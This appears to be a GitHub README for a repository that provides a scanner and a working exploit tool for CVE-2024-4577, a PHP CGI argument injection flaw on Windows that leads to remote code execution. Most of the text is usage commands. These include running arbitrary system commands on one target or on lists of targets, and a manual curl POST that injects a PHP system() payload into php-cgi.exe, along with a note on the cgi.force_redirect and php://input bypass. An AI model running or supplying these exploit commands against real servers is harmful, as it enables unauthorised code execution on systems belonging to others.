# CVE-2024-4577 - PHP CGI Argument Injection RCE

## Summary

CVE-2024-4577 is a critical **PHP CGI argument injection vulnerability** that affects Windows systems running PHP in CGI mode. This flaw allows remote attackers to **inject arguments** into PHP's command line via specially crafted URLs, leading to **remote code execution (RCE)**.

This repository includes:

- `CVE-2024-4577.py`: A **scanner** to detect vulnerable targets.
- `exploit.py`: An **exploit tool** that sends PHP code and executes system commands on the vulnerable server.

# Scanner Usage

Detect if a target is vulnerable to CVE-2024-4577:

## Single Target
```bash
python3 CVE-2024-4577.py -u http://target.com
```
![1](https://github.com/user-attachments/assets/2877a065-f568-4c9b-8b87-1bb220f1b904)

## Multiple Targets from File
```bash
python3 CVE-2024-4577.py -f urls.txt
```
![2](https://github.com/user-attachments/assets/45dbd725-4e57-4c3a-a33a-27a3ef3d6547)

## Custom Path (optional)
```bash
python3 CVE-2024-4577.py -u http://target.com -p /custom/path.php
```
### Example Vulnerable Paths
The scanner and exploit test common CGI endpoints like:
```bash
/php-cgi/php-cgi.exe
/index.php
/test.php
/test.hello
```
The payload bypasses cgi.force_redirect and prepends malicious PHP using php://input.

# Exploit Usage

Execute arbitrary system commands on a vulnerable target:

## Single Target
```bash
python3 exploit.py -u http://target.com -c "id"
```

## Multiple Targets from File
```bash
python3 exploit.py -f urls.txt -c "id"
```
![5](https://github.com/user-attachments/assets/01de96c5-09e8-4065-b162-484985834c01)
---
## Using curl

You can also exploit the vulnerability manually using curl
```bash
curl -X POST http://target.com/php-cgi/php-cgi.exe -d "<?php system('uname -a'); ?>"
```
This sends a PHP payload that executes uname -a on the server and returns the output.
